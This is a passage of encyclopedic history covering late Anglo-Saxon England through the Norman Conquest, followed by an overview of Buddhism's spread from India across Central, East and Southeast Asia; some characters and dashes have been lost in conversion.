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          Christianisation of Anglo-Saxon England began around AD 600, influenced by Celtic Christianity from the north-west and by the Roman Catholic Church from the south-east. The first Archbishop of Canterbury, Augustine took office in 597. In 601, he baptised the first Anglo-Saxon king, Aethelbert of Kent. The last pagan Anglo-Saxon king, Penda of Mercia, died in 655. The Anglo-Saxon mission on the continent took off in the 8th century, leading to the Christianisation of practically all of the Frankish Empire by AD 800.


          Throughout the 7th and 8th century power fluctuated between the larger kingdoms. Bede records Aethelbert of Kent as being dominant at the close of the 6th century, but power seems to have shifted northwards to the kingdom of Northumbria, which was formed from the amalgamation of Bernicia and Deira. Edwin probably held dominance over much of Britain, though Bede's Northumbria bias should be kept in mind. Succession crises meant Northumbrian hegemony was not constant, and Mercia remained a very powerful kingdom, especially under Penda. Two defeats essentially ended Northumbrian dominance: the Battle of the Trent (679) against Mercia, and Nechtanesmere (685) against the Picts.


          The so-called 'Mercian Supremacy' dominated the 8th century, though again was not constant. Aethelbald and Offa, the two most powerful kings, achieved high status; indeed, Offa was considered the overlord of south Britain by Charlemagne. That Offa could summon the resources to build Offa's Dyke is testament to his power. However, a rising Wessex, and challenges from smaller kingdoms, kept Mercian power in check, and by the end of the 8th century the 'Mercian Supremacy', if it existed at all, was over.


          This period has been described as the Heptarchy, though this term has now fallen out of academic use. The word arose on the basis that the seven kingdoms of Northumbria, Mercia, Kent, East Anglia, Essex, Sussex and Wessex were the main polities of south Britain. More recent scholarship has shown that a number of other kingdoms were politically important across this period: Hwicce, Magonsaete, Lindsey and Middle Anglia. See also the non-Anglo-Saxon kingdoms such as Strathclyde, Rheged


          


          The Viking challenge and the rise of Wessex (9th century)


          793 is the date given by the Anglo-Saxon Chronicle for the first Viking attack in Britain, at Lindisfarne monastery. However, by then the Vikings were almost certainly well established in Orkney and Shetland, and it is probable that many other non-recorded raids occurred before this. Records do show the first Viking attack on Iona taking place in 794, The arrival of the Vikings, in particular their Great Heathen Army, was to seriously upset the political and social geography of Britain and Ireland. Alfred the Great's victory at Edington in 878 stemmed the Viking attack; however, by this time Northumbria had devolved into Bernicia and a Viking kingdom, Mercia had been split down the middle, and East Anglia ceased to exist as an Anglo-Saxon polity. The Vikings had similar effects on the various kingdoms of the Irish, Scots, Picts and (to a lesser extent) Welsh. Certainly in North Britain the Vikings were one reason behind the formation of the Kingdom of Alba, which eventually evolved into Scotland.


          After a time of plunder and raids, the Vikings began to settle in England. An important Viking centre was York, called Jorvik by the Vikings. Various alliances between the Viking Kingdom of York and Dublin rose and fell. Danish and Norwegian settlement made enough of an impact to leave significant traces in the English language; many fundamental words in modern English are derived from Old Norse, though of the 100 most used words in English the vast majority are Old English in origin. Similarly, many place-names in areas of Danish and Norwegian settlement have Scandinavian roots (e.g. Sutherland).


          An important development of the 9th century was the rise of the Kingdom of Wessex. Though it was somewhat of a roller-coaster journey, the West Saxon kings came, by the end of Alfred's reign (899), to rule what had previously been Wessex, Sussex and Kent. Cornwall (Kernow) was subject to West Saxon dominance, and several kings of the more southerly Welsh kingdoms recognised Alfred as their overlord, as did western Mercia under Alfred's son-in-law thelred.


          


          Formation of England (10th century)


          Alfred of Wessex died in 899 and was succeeded by his son Edward the Elder. Edward, and his brother in law thelred of (what was left of) Mercia, began a program of expansion, building forts and towns on an Alfredian model. On thelred's death his wife (Edward's sister) thelfld ruled as 'Lady of the Mercians', and continued expansion. It seems Edward had his son thelstan brought up in the Mercian court, and on Edward's death Athelstan succeeded to the Mercian kingdom, and, after some uncertainty, Wessex.


          thelstan continued the expansion of his father and aunt, and was the first king to achieve direct rulership of what we would now consider 'England'. Certainly the titles attributed to him in charters and on coins suggest a widespread dominance. His expansion aroused ill-feeling among the other kingdoms of Britain, and he faced a combined Scottish-Viking army at the Battle of Brunanburh. His victory there, recorded in the Anglo-Saxon Chronicle with a poem, was one of the major steps on the road to the formation of England.


          However, England was not a certainty, and indeed under thelstan's successors Edmund, Eadred and Edwy the kingdom broke up and was reformed numerous times. Nonetheless, Edgar, who eventually ruled the same expanse as Athelstan, seems to have consolidated the kingdom, and by the time of the rule of his son thelred (the Unready) England seems to have (almost) secured itself as a kingdom.


          The 10th century saw important developments across Western Europe. Carolingian authority was in decline by the mid-10th century in West Francia (France), and eventually collapsed to be replaced by the weak House of Capet. In East Francia a Saxon dynasty came to power, and its kings began taking the title of Holy Roman Emperor. Interestingly, Anglo-Saxon England was probably the most 'developed' kingdom of the period; one has only to look at the way coinage was managed in the period to realise that 10th century Anglo-Saxon kings wielded far greater royal authority than their European counterparts.


          


          England under the Danes and the Norman Conquest (978-1066)


          The end of the 10th century saw renewed Scandinavian interest in England. Aethelred ruled a long reign, but ultimately lost his kingdom to Sweyn of Denmark, though he recovered it following the latter's death. However, thelred's son Edmund II Ironside died shortly afterwards, allowing Canute, Sweyn's son, to become king of England, one part of a mighty empire stretching across the North Sea. It was probably in this period that the Viking influence on English culture became engrained.


          Rule over England fluctuated between the descendants of Aethelred and Canute for the first half of the 11th century. Ultimately this resulted in the well-known situation of 1066, where several people had a claim to the English throne. Harold Godwinson became king, in all likelihood appointed by Edward the Confessor on his deathbed. However, William of Normandy, a descendant of Aethelred and Canute's wife Emma, and Harald of Norway (aided by Harold Godwin's estranged brother Tostig) all had a claim. Perhaps the strongest claim went to Edgar the Atheling, whose minority prevented him from playing a larger part in the struggles of 1066, though he was made king for a short time by the English Witan.


          Invasion was the result of this situation. Harold Godwinson defeated Harald of Norway and Tostig at the Battle of Stamford Bridge, but fell in battle against William of Normandy at Hastings. William began a program of consolidation in England, being crowned on Christmas Day, 1066. However, his authority was always under threat in England, and the little space spent on Northumbria in Domesday Book is testament to the troubles there during William's reign.
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        History of Buddhism


        
          

          The History of Buddhism spans the 6th century BCE to the present, starting with the birth of the Buddha Siddhartha Gautama. This makes it one of the oldest religions practiced today. Starting in India, the religion evolved as it spread through Central Asia, East Asia, and Southeast Asia. At one time or another it affected most of the Asian continent. The history of Buddhism is also characterized by the development of numerous movements and schisms, foremost among them the Theravada, Mahāyāna and Vajrayana traditions, with contrasting periods of expansion and retreat.


          


          Life of the Buddha


          According to the Buddhist tradition, the historical Buddha Siddhartha Gautama was born to the Shakya clan, at the beginning of the Magadha period (546324 BCE), in the plains of Lumbini in Ancient India. He is also known as the Shakyamuni (literally "The sage of the Shakya clan").


          After an early life of luxury under the protection of his father, Śuddhodana, the ruler of Kapilavastu (later to be incorporated into the state of Magadha), Siddhartha entered into contact with the realities of the world and concluded that life was inescapably bound up with suffering and sorrow. Siddhartha renounced his meaningless life of luxury to become an ascetic. He ultimately decided that asceticism couldn't end suffering, and instead chose a middle way, a path of moderation away from the extremes of self-indulgence and self-mortification.


          Under a fig tree, now known as the Bodhi tree, he vowed never to leave the position until he found Truth. At the age of 35, he attained Enlightenment. He was then known as Gautama Buddha, or simply "The Buddha", which means "the enlightened one", or "the awakened one".


          For the remaining 45 years of his life, he traveled the Gangetic Plain of central India (the region of the Ganges/Ganga river and its tributaries), teaching his doctrine and discipline to an diverse range of people.


          The Buddha's reluctance to name a successor or to formalise his doctrine led to the emergence of many movements during the next 400 years: first the schools of Nikaya Buddhism, of which only Theravada remains today, and then the formation of Mahayana and Vajrayana, pan-Buddhist sects based on the acceptance of new scriptures and the revision of older techniques.


          


          Early Buddhism


          Before the royal sponsorship of Asoka the Great in the 3rd century BCE, Buddhism remained centered around the Ganges valley, spreading gradually from its ancient heartland. The canonical sources record two Councils, where the monastic Sangha established the textual collections based on the Buddha's teachings, and settled certain disciplinary problems within the community.


          [bookmark: 1st_Buddhist_council_.285th_c._BCE.29]


          1st Buddhist council (5th c. BCE)


          The first Buddhist council was held soon after the death of the Buddha, and presided by Venerable Mahakasyapa, one of the Buddha's most senior disciples, at Rajagriha (today's Rajgir). The objective of the council was to record the Buddha's doctrinal teachings ( sutra) and to codify the monastic rules (vinaya): Ananda, one of the Buddha's main disciples and his cousin, was called upon to recite the discourses of the Buddha, and Upali, another disciple, recited the rules of the vinaya. These became the basis of the Tripitaka, which is preserved in Pali, Chinese, and Tibetan, and has been the orthodox text of reference throughout the history of Buddhism.
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          2nd Buddhist council (4th c. BCE)


          The second Buddhist council was held at Vaisali following a dispute that had arisen in the Sangha over the relaxation by some monks of various points of discipline. Eventually it was decided to hold a second Council at which the original Vinaya texts that had been preserved at the first Council were cited to show that these relaxations went against the recorded teachings of the Buddha.


          


          Ashokan proselytism (c. 261 BCE)
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          The Mauryan Emperor Ashoka the Great (273232 BCE) converted to Buddhism after his bloody conquest of the territory of Kalinga (modern Orissa) in eastern India during the Kalinga War. Regreting the horrors brought about by the conflict, the king decided to renounce violence, and propagate the faith by building stupas and pillars urging amongst other things respect of all animal life, and enjoining people to follow the Dharma. Perhaps the finest example of these is the Great Stupa in Sanchi, India (near Bhopal). It was constructed in the third century BCE and later enlarged. Its carved gates, called Tohans, are considered among the finest examples of Buddhist art in India. He also built roads, hospitals, resthouses, universities and irrigation systems around the country. He treated his subjects as equals regardless of their religion, politics or caste.


          This period marks the first spread of Buddhism beyond India. According to the plates and pillars left by Ashoka (the Edicts of Ashoka), emissaries were sent to various countries in order to spread Buddhism, as far South as Sri Lanka, and as far West as the Greek kingdoms, in particular the neighboring Greco-Bactrian Kingdom, and possibly even farther to the Mediterranean.
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          3rd Buddhist council (c.250 BCE)


          King Ashoka convened the third Buddhist council around 250 BCE at Pataliputra (today's Patna). It was held by the monk Moggaliputtatissa. The objective of the council was to purify the Sangha, particularly from non-Buddhist ascetics who had been attracted by the royal patronage. Following the council, Buddhist missionaries were dispatched throughout the known world.


          


          Hellenistic world


          Some of the Edicts of Ashoka inscriptions describe the efforts made by Ashoka to propagate the Buddhist faith throughout the Hellenistic world, which at that time formed an uninterrupted continuum from the borders of India to Greece. The Edicts indicate a clear understanding of the political organization in Hellenistic territories: the names and location of the main Greek monarchs of the time are identified, and they are claimed as recipients of Buddhist proselytism: Antiochus II Theos of the Seleucid Kingdom (261246 BCE), Ptolemy II Philadelphos of Egypt (285247 BCE), Antigonus Gonatas of Macedonia (276239 BCE), Magas of Cyrene (288258 BCE) in Cyrenaica (modern Libya), and Alexander II of Epirus (272255 BCE) in Epirus (modern Northwestern Greece).
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            	"The conquest by Dharma has been won here, on the borders, and even six hundred yojanas (5,4009,600 km) away, where the Greek king Antiochos rules, beyond there where the four kings named Ptolemy, Antigonos, Magas and Alexander rule, likewise in the south among the Cholas, the Pandyas, and as far as Tamraparni (Sri Lanka)." ( Edicts of Ashoka, 13th Rock Edict, S. Dhammika).

          


          Furthermore, according to Pali sources, some of Ashoka's emissaries were Greek Buddhist monks, indicating close religious exchanges between the two cultures:


          
            	"When the thera (elder) Moggaliputta, the illuminator of the religion of the Conqueror (Ashoka), had brought the (third) council to an end (...) he sent forth theras, one here and one there: (...) and to Aparantaka (the "Western countries" corresponding to Gujarat and Sindh) he sent the Greek ( Yona) named Dhammarakkhita". ( Mahavamsa XII).
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          Ashoka also issued Edicts in the Greek language as well as in Aramaic. One of them, found in Kandahar, advocates the adoption of "Piety" (using the Greek term Eusebeia for Dharma) to the Greek community:


          
            	"Ten years (of reign) having been completed, King Piodasses (Ashoka) made known (the doctrine of) Piety (Greek:ὐέ, Eusebeia) to men; and from this moment he has made men more pious, and everything thrives throughout the whole world."


            	(Trans. from the Greek original by G.P. Carratelli)

          


          It is not clear how much these interactions may have been influential, but some authors have commented that some level of syncretism between Hellenist thought and Buddhism may have started in Hellenic lands at that time. They have pointed to the presence of Buddhist communities in the Hellenistic world around that period, in particular in Alexandria (mentioned by Clement of Alexandria), and to the pre-Christian monastic order of the Therapeutae (possibly a deformation of the Pali word " Theravada"), who may have "almost entirely drawn (its) inspiration from the teaching and practices of Buddhist asceticism"., and may even have been descendants of Ashoka's emissaries to the West. The philosopher Hegesias of Cyrene, from the city of Cyrene where Magas of Cyrene ruled, is sometimes thought to have been influenced by the teachings of Ashoka's Buddhist missionnaries.


          Buddhist gravestones from the Ptolemaic period have also been found in Alexandria, decorated with depictions of the Dharma wheel (Tarn, "The Greeks in Bactria and India"). Commenting on the presence of Buddhists in Alexandria, some scholars have even pointed out that "It was later in this very place that some of the most active centers of Christianity were established" ( Robert Linssen "Zen living").


          In the 2nd century CE, the Christian dogmatist Clement of Alexandria recognized Bactrian Buddhists ( Sramanas) and Indian Gymnosophists for their influence on Greek thought:


          
            	"Thus philosophy, a thing of the highest utility, flourished in antiquity among the barbarians, shedding its light over the nations. And afterwards it came to Greece. First in its ranks were the prophets of the Egyptians; and the Chaldeans among the Assyrians; and the Druids among the Gauls; and the Sramanas among the Bactrians ("ί ά"); and the philosophers of the Celts; and the Magi of the Persians, who foretold the Saviour's birth, and came into the land of Judaea guided by a star. The Indian gymnosophists are also in the number, and the other barbarian philosophers. And of these there are two classes, some of them called Sramanas ("ά"), and others Brahmins ("")." Clement of Alexandria "The Stromata, or Miscellanies" Book I, Chapter XV

          


          According to Donald A. Mackenzie, Saint Origen in the 2nd century CE mentioned Buddhists co-existing with Druids in pre-Christian Britain:


          
            	"The island (Britain) has long been predisposed to it (Christianity) through the doctrines of the Druids and Buddhists, who had already inculcated the doctrine of the unity of the Godhead" - Origen, Commentary on Ezekiel.

          


          


          Early Asian expansion


          Sri Lanka was proselytized by Ashoka's son Mahinda and six companions during the 2nd century BCE. They converted the king Devanampiya Tissa and many of the nobility. This is when the Mahavihara monastery, a centre of Sinhalese orthodoxy, was built. The Pali Canon was written down in Sri Lanka during the reign of king Vattagamani (2917 BCE), and the Theravada tradition flourished there. Later some great commentators worked there, such as Buddhaghosa (4th5th century) and Dhammapala (5th6th century), and they systemised the traditional commentaries that had been handed down. Although Mahayana Buddhism gained some influence in Sri Lanka at that time, Theravada ultimately prevailed, and Sri Lanka turned out to be the last stronghold of Theravada Buddhism, from where it would expand again to South-East Asia from the 11th century.


          In the areas east of the Indian subcontinent (modern Burma and Thailand), Indian culture strongly influenced the Mons. The Mons are said to have been converted to Buddhism from the 3rd century BCE under the proselytizing of the Indian Emperor Ashoka the Great, before the fission between Mahayana and Hinayana Buddhism. Early Mon Buddhist temples, such as Peikthano in central Burma, have been dated between the 1st and the 5th century CE.
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          The Buddhist art of the Mons was especially influenced by the Indian art of the Gupta and post-Gupta periods, and their mannerist style spread widely in South-East Asia following the expansion of the Mon kingdom between the 5th and 8th centuries. The Theravada faith expanded in the northern parts of Southeast Asia under Mon influence, until it was progressively displaced by Mahayana Buddhism from around the 6th century CE.


          According to the Ashokavadana (2nd century CE), Ashoka sent a missionary to the north, through the Himalayas, to Khotan in the Tarim Basin, then the land of the Tocharians, speakers of an Indo-European language.


          


          Rise of the Sunga (2nd1st c. BCE)


          The Sunga dynasty (18573 BCE) was established in 185 BCE, about 50 years after Ashoka's death. After assassinating King Brhadrata (last of the Mauryan rulers), military commander-in-chief Pusyamitra Sunga took the throne. Buddhist religious scriptures such as the Ashokavadana allege that Pusyamitra (an orthodox Brahmin) was hostile towards Buddhists and persecuted the Buddhist faith. Buddhists wrote that he "destroyed monasteries and killed Monks" : 84,000 Buddhist stupas which had been built by Ashoka were "destroyed" (R. Thaper), and 100 gold coins were offered for the head of each Buddhist monk . In addition, Buddhist sources allege that a large number of Buddhist monasteries ( viharas) were converted to Hindu temples, in such places as Nalanda, Bodhgaya, Sarnath, or Mathura.


          Following Ashoka's sponsorship of Buddhism, it is possible that Buddhist institutions fell on harder times under the Sungas but no evidence of active persecution has been noted. Etienne Lamotte observes: "To judge from the documents, Pushyamitra must be acquitted through lack of proof." . Another eminent historian, Romila Thapar, points to archaeological evidence that "suggests the contrary [to the claim that Pusyamitra was a fanatical anti-Buddhist]" and never actually destroyed 84000 stupas as claimed by Buddhist works. Thapar stresses that Buddhist accounts are probably hyperbolic renditions of Pusyamitra's attack of the Mauryas, and merely reflect the frustration of the Buddhist religious figures to the decline in the importance of their religion by the Sungas. .


          During the period, Buddhist monks deserted the Ganges valley, following either the Northern road ( Uttarapatha) or the Southern road (Daksinapatha). Conversely, Buddhist artistic creation stopped in the old Magadha area, to reposition itself either in Northwest area of Gandhara and Mathura, or in the Southeast around Amaravati. Some artistic activity also occurred in central India, as in Bharhut, to which the Sungas may or may not have contributed.


          


          Greco-Buddhist interaction (2nd c. BCE1st c. CE)


          
            [image: Silver drachm of Menander I (reigned c. 160–135 BCE). Obv: Greek legend, BASILEOS SOTEROS MENANDROY lit. "of the Saviour King Menander".]
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          In the areas west of the Indian subcontinent, neighboring Greek kingdoms had been in place in Bactria (today's northern Afghanistan) since the time of the conquests of Alexander the Great around 326 BCE: first the Seleucids from around 323 BCE, then the Greco-Bactrian kingdom from around 250 BCE.
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          The Greco-Bactrian king Demetrius I invaded India in 180 BCE as far as Pataliputra, establishing an Indo-Greek kingdom that was to last in various part of northern India until the end of the 1st century BCE. Buddhism flourished under the Indo-Greek kings, and it has been suggested that their invasion of India was intended to show their support for the Mauryan empire, and to protect the Buddhist faith from the alleged religious persecutions of the Sungas (18573 BCE).


          One of the most famous Indo-Greek kings is Menander (reigned c. 160135 BCE). He apparently converted to Buddhism and is presented in the Mahayana tradition as one of the great benefactors of the faith, on a par with king Ashoka or the later Kushan king Kanishka. Menander's coins bear the mention "Saviour king" in Greek, and sometimes designs of the eight-spoked wheel. Direct cultural exchange is also suggested by the dialogue of the Milinda Panha between Menander and the monk Nagasena around 160 BCE. Upon his death, the honour of sharing his remains was claimed by the cities under his rule, and they were enshrined in stupas, in a parallel with the historic Buddha ( Plutarch, Praec. reip. ger. 28, 6). Several of Menander's Indo-Greek successors inscribed the mention "Follower of the Dharma" in the Kharoshthi script on their coins, and depicted themselves or their divinities forming the vitarka mudra.
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          The interaction between Greek and Buddhist cultures may have had some influence on the evolution of Mahayana, as the faith developed its sophisticated philosophical approach and a man-god treatment of the Buddha somewhat reminiscent of Hellenic gods. It is also around that time that the first anthropomorphic representations of the Buddha are found, often in realistic Greco-Buddhist style: "One might regard the classical influence as including the general idea of representing a man-god in this purely human form, which was of course well familiar in the West, and it is very likely that the example of westerner's treatment of their gods was indeed an important factor in the innovation" (Boardman, "The Diffusion of Classical Art in Antiquity" ).


          


          Central Asian expansion


          


          A Buddhist gold coin from India was found in northern Afghanistan at the archaeological site of Tillia Tepe, and dated to the 1st century CE. On the reverse, it depicts a lion with a nandipada, with the Kharoshthi legend "Sih[o] vigatabhay[o]" ("The lion who dispelled fear"). On the obverse, an almost naked man only wearing an Hellenistic chlamys and a petasus hat (an iconography similar to that of Hermes/ Mercury) rolls a Buddhist wheel. The legend in Kharoshthi reads "Dharmacakrapravata[ko]" ("The one who turned the Wheel of the Law"). It has been suggested that this may be an early representation of the Buddha.


          


          Rise of Mahayana (1st c. BCE2nd c. CE)
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          The rise of Mahayana Buddhism from the 1st century BCE was accompanied by complex political changes in northwestern India. The Indo-Greek kingdoms were gradually overwhelmed, and their culture assimilated by the Indo-Scythians, and then the Yuezhi, who founded the Kushan Empire from around 12 BCE.


          The Kushans were supportive of Buddhism, and a fourth Buddhist council was convened by the Kushan emperor Kanishka, around 100 CE at Jalandhar or in Kashmir, and is usually associated with the formal rise of Mahayana Buddhism and its secession from Theravada Buddhism. Theravada Buddhism does not recognize the authenticity of this council, and it is sometimes called the "council of heretical monks".


          The new form of Buddhism was characterized by an almost God-like treatment of the Buddha, by the idea that all beings have a Buddha-nature and should aspire to Buddhahood, and by a syncretism due to the various cultural influences within northwestern India and the Kushan Empire.


          


          The Two Fourth Councils


          The Fourth Council is said to have been convened in the reign of the Kushan emperor Kanishka, around 100 CE at Jalandhar or in Kashmir. Theravada Buddhism had its own Fourth Council in Sri Lanka about 200 years earlier in which the Pali Canon was written down in toto for the first time. Therefore there are two Fourth Councils: one in Sri Lanka (Theravada), and one in Kashmir (Sarvastivadin).
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          It is said that for the Fourth Council of Kashmir, Kanishka gathered 500 monks headed by Vasumitra, partly, it seems, to compile extensive commentaries on the Abhidharma, although it is possible that some editorial work was carried out upon the existing canon itself. Allegedly, during the council there were all together three hundred thousand verses and over nine million statements compiled, and it took twelve years to complete. The main fruit of this Council was the compilation of the vast commentary known as the Mahā-Vibhāshā ("Great Exegesis"), an extensive compendium and reference work on a portion of the Sarvāstivādin Abhidharma.


          Scholars believe that it was also around this time that a significant change was made in the language of the Sarvāstivādin canon, by converting an earlier Prakrit version into Sanskrit. Although this change was probably effected without significant loss of integrity to the canon, this event was of particular significance since Sanskrit was the sacred language of Brahmanism in India, and was also being used by other thinkers (regardless of their specific religious or philosophical allegiance), thus enabling a far wider audience to gain access to Buddhist ideas and practices. For this reason, there was a growing tendency among Buddhist scholars in India thereafter to write their commentaries and treatises in Sanskrit. Many of the early schools, however, such as Theravada, never switched to Sanskrit, partly because Buddha explicitly forbade translation of his discourses into Sanskrit because it was an elitist religious language (like Latin was in Europe in earlier times). He wanted his monks to use a local language instead; a language which could be understood by all. Over time however, the language of the Theravadin scriptures ( Pali) became a scholarly or elitist language as well.


          


          Mahayana expansion (1st c. CE10th c. CE)
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          From that point on, and in the space of a few centuries, Mahayana was to flourish and spread in the East from India to South-East Asia, and towards the north to Central Asia, China, Korea, and finally to Japan in 538 CE.


          


          India


          After the end of the Kushans, Buddhism flourished in India during the dynasty of the Guptas (4th-6th century). Mahayana centers of learning were established, especially at Nalanda in north-eastern India, which was to become the largest and most influential Buddhist university for many centuries, with famous teachers such as Nagarjuna. The Gupta style of Buddhist art became very influential from South-East Asia to China as the faith was spreading there.
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          Indian Buddhism had weakened in the 6th century following the White Hun invasions and Mihirkulas persecution.


          Xuanzang reports in his travels across India during the 7th century of Buddhism being popular in Andhra, Dhanyakataka, and Dravida which today roughly correspond to the modern day Indian states of Andhra Pradesh and Tamil Nadu. While reporting many deserted stupas in the area around modern day Nepal and the persecution of buddhists by Ssanka in the Kingdom of Gouda. (In modern day West Bengal.) Xuanzang compliments the patronage of Harshavardana during the same period. After Harshavardanas kingdom, the rise of many small kingdoms that lead to the rise of the Rajputs across the gangetic plains and marked the end of Buddhist ruling clans along with a sharp decline in royal patronage until a revival under the Pala Empire in the Bengal region. Here Mahayana Buddhism flourished and spread to Bhutan and Sikkim between the 8th and the 12th century before the Palas collapsed under the assault of the Hindu Sena dynasty. The Palas created many temples and a distinctive school of Buddhist art. Xuanzang noted in his travels that in various regions Buddhism was giving way to Jainism and Hinduism. By the 10th century Buddhism had experienced a sharp decline beyond the Pala realms in Bengal under a resurgent Hinduism and the incorporation in Vaishnavite Hinduism of Buddha as the 9th incarnation of Vishnu.


          A milestone in the decline of Indian Buddhism in the North occurred in 1193 when Turkic Islamic raiders under Muhammad Khilji burnt Nalanda. By the end of the 12th century, following the Islamic conquest of the Buddhist strongholds in Bihar, and the loss of political support coupled with social and caste pressures, the practice of Buddhism retreated to the Himalayan foothills in the North and Sri Lanka in the south. Additionally, the influence of Buddhism also waned due to Hinduism's revival movements such as Advaita, the rise of the bhakti movement and the missionary work of Sufis.


          


          Central and Northern Asia


          


          Central Asia


          Central Asia had been influenced by Buddhism probably almost since the time of the Buddha. According to a legend preserved in Pali, the language of the Theravada canon, two merchant brothers from Bactria, named Tapassu and Bhallika, visited the Buddha and became his disciples. They then returned to Bactria and built temples to the Buddha (Foltz).


          Central Asia long played the role of a meeting place between China, India and Persia. During the 2nd century BCE, the expansion of the Former Han to the west brought them into contact with the Hellenistic civilizations of Asia, especially the Greco-Bactrian Kingdoms. Thereafter, the expansion of Buddhism to the north led to the formation of Buddhist communities and even Buddhist kingdoms in the oases of Central Asia. Some Silk Road cities consisted almost entirely of Buddhist stupas and monasteries, and it seems that one of their main objectives was to welcome and service travelers between east and west.


          The Theravada traditions first spread among the Turkic tribes before combining with the Mahayana forms during the 2nd and 3rd centuries BCE to cover modern-day Pakistan, Kashmir, Afghanistan, eastern and coastal Iran, Uzbekistan, Turkmenistan and Tajikistan. These were the ancient states of Gandhara, Bactria, Parthia and Sogdia from where it spread to China. Among the first of these Turkic tribes to adopt Buddhism was the Turki- Shahi who adopted Buddhism as early as the 3rd century BCE. It was not, however, the exclusive faith of this region. There were also Zoroastrians, Hindus, Nestorian Christians, Jews, Manichaeans, and followers of shamanism, Tengrism, and other indigenous, nonorganized systems of belief.


          Various Nikaya schools persisted in Central Asia and China until around the 7th century CE. Mahayana started to become dominant during the period, but since the faith had not developed a Nikaya approach, Sarvastivadin and Dharmaguptakas remained the Vinayas of choice in Central Asian monasteries.


          Various Buddhism kingdoms rose and prospered in both the Central Asian region and downwards into the Indian sub-continent such as Kushan Empire prior to the White Hun invasion in the 5th century where under the King Mihirkula they were heavily persecuted.


          Buddhism in Central Asia started to decline with the expansion of Islam and the destruction of many stupas in war from the 7th century. The Muslims accorded them the status of dhimmis as "people of the Book", such as Christianity or Judaism and Al-Biruni wrote of Buddha as prophet "burxan".


          Buddhism saw a surge during the reign of Mongols following the invasion of Genghis Khan and the establishment of the Il Khanate and the Chagatai Khanate who brought their Buddhist influence with them during the 13th century, however within a 100 years the Mongols who remained in that region would convert to Islam and spread Islam across all the regions across central Asia. Only the eastern Mongols and the Mongols of the Yuan dynasty would keep Vajrayana Buddhism.


          


          Parthia


          Buddhism expanded westward into Arsacid Parthia, at least to the area of Merv, in ancient Margiana, today's territory of Turkmenistan. Soviet archeological teams have excavated in Giaur Kala, near Merv, a Buddhist chapel, a gigantic Buddha statue, as well as a monastery.


          Parthians were directly involved in the propagation of Buddhism: An Shigao (c. 148 CE), a Parthian prince, went to China, and is the first known translator of Buddhist scriptures into Chinese.


          


          Tarim Basin


          
            [image: Blue-eyed Central Asian and East-Asian Buddhist monks, Bezaklik, Eastern Tarim Basin, China, 9th-10th century.]

            
              Blue-eyed Central Asian and East-Asian Buddhist monks, Bezaklik, Eastern Tarim Basin, China, 9th-10th century.
            

          


          The eastern part of central Asia ( Chinese Turkestan, Tarim Basin, Xinjiang) has revealed extremely rich Buddhist works of art (wall paintings and reliefs in numerous caves, portable paintings on canvas, sculpture, ritual objects), displaying multiple influences from Indian and Hellenistic cultures. Serindian art is highly reminiscent of the Gandharan style, and scriptures in the Gandhari script Kharosthi have been found.


          Central Asians seem to have played a key role in the transmission of Buddhism to the East. The first translators of Buddhists scriptures into Chinese were either Parthian (Ch: Anxi) like An Shigao (c. 148 CE) or An Hsuan, Kushan of Yuezhi ethnicity like Lokaksema (c. 178 CE), Zhi Qian and Zhi Yao, or Sogdians (Ch: SuTe/粟特) like Kang Sengkai. Thirty-seven early translators of Buddhist texts are known, and the majority of them have been identified as Central Asians.


          Central Asian and East Asian Buddhist monks appear to have maintained strong exchanges until around the 10th century, as shown by frescoes from the Tarim Basin.


          These influences were rapidly absorbed however by the vigorous Chinese culture, and a strongly Chinese particularism develops from that point.


          


          China


          Buddhism probably arrived in China around the 1st century CE from Central Asia (although there are some traditions about a monk visiting China during Ashoka's reign), and through to the 8th century it became an extremely active centre of Buddhism.


          The year 67 CE saw Buddhism's official introduction to China with the coming of the two monks Moton and Chufarlan. In 68 CE, under imperial patronage, they established the White Horse Temple (白馬寺), which still exists today, close to the imperial capital at Luoyang. By the end of the second century, a prosperous community had been settled at Pengcheng (modern Xuzhou, Jiangsu).


          The first known Mahayana scriptural texts are translations made into Chinese by the Kushan monk Lokaksema in Luoyang, between 178 and 189 CE. Some of the earliest known Buddhist artifacts found in China are small statues on "money trees", dated circa 200 CE, in typical Gandharan style (drawing): "That the imported images accompanying the newly arrived doctrine came from Gandhara is strongly suggested by such early Gandhara characteristics on this "money tree" Buddha as the high ushnisha, vertical arrangement of the hair, moustache, symmetrically looped robe and parallel incisions for the folds of the arms." ("Crossroads of Asia" p209)
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          Buddhism flourished during the beginning of the Tang Dynasty (618907). The dynasty was initially characterized by a strong openness to foreign influences, and renewed exchanges with Indian culture due to the numerous travels of Chinese Buddhist monks to India from the 4th to the 11th century. The Tang capital of Chang'an (today's Xi'an) became an important centre for Buddhist thought. From there Buddhism spread to Korea, and Japanese embassies of Kentoshi helped gain footholds in Japan.


          However foreign influences came to be negatively perceived towards the end of the Tang Dynasty. In the year 845, the Tang emperor Wuzong outlawed all "foreign" religions (including Christian Nestorianism, Zoroastrianism, and Buddhism) in order to support the indigenous Taoism. Throughout his territory, he confiscated Buddhist possessions, destroyed monasteries and temples, and executed Buddhist monks, ending Buddhism's cultural and intellectual dominance.


          However , about a hundred years after the Great Anti-Buddhist Persecution , Buddhism revived during the Song Dynasty (11271279).


          Pure Land and Chan Buddhism, however, continued to prosper for some centuries, the latter giving rise to Japanese Zen. In China, Chan flourished particularly under the Song dynasty (11271279), when its monasteries were great centers of culture and learning.


          Today, China boasts one of the richest collections of Buddhist arts and heritages in the world. UNESCO World Heritage Sites such as the Mogao Caves near Dunhuang in Gansu province, the Longmen Grottoes near Luoyang in Henan province, the Yungang Grottoes near Datong in Shanxi province, and the Dazu Rock Carvings near Chongqing are among the most important and renowned Buddhist sculptural sites. The Leshan Giant Buddha, carved out of a hillside in the 8th century during Tang Dynasty and looking down on the confluence of three rivers, is still the largest stone Buddha statue in the world.


          


          Korea


          Buddhism was introduced around 372 CE, when Chinese ambassadors visited the Korean kingdom of Goguryeo, bringing scriptures and images. Buddhism prospered in Korea, and in particular Seon ( Zen) Buddhism from the 7th century onward. However, with the beginning of the Confucean Yi Dynasty of the Joseon period in 1392, Buddhism was strongly discriminated against until it was almost completely eradicated, except for a remaining Seon movement.


          


          Japan
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          The Buddhism of Japan was introduced from Three Kingdoms of Korea in the sixth century . The Chinese priest Ganjin offered the system of Vinaya to the Buddhism of Japan in 754. As a result, the Buddhism of Japan has developed rapidly. Saichō and Kūkai succeeded to a legitimate Buddhism from China in nine century.


          Being geographically at the end of the Silk Road, Japan was able to preserve many aspects of Buddhism at the very time it was disappearing in India, and being suppressed in Central Asia and China.


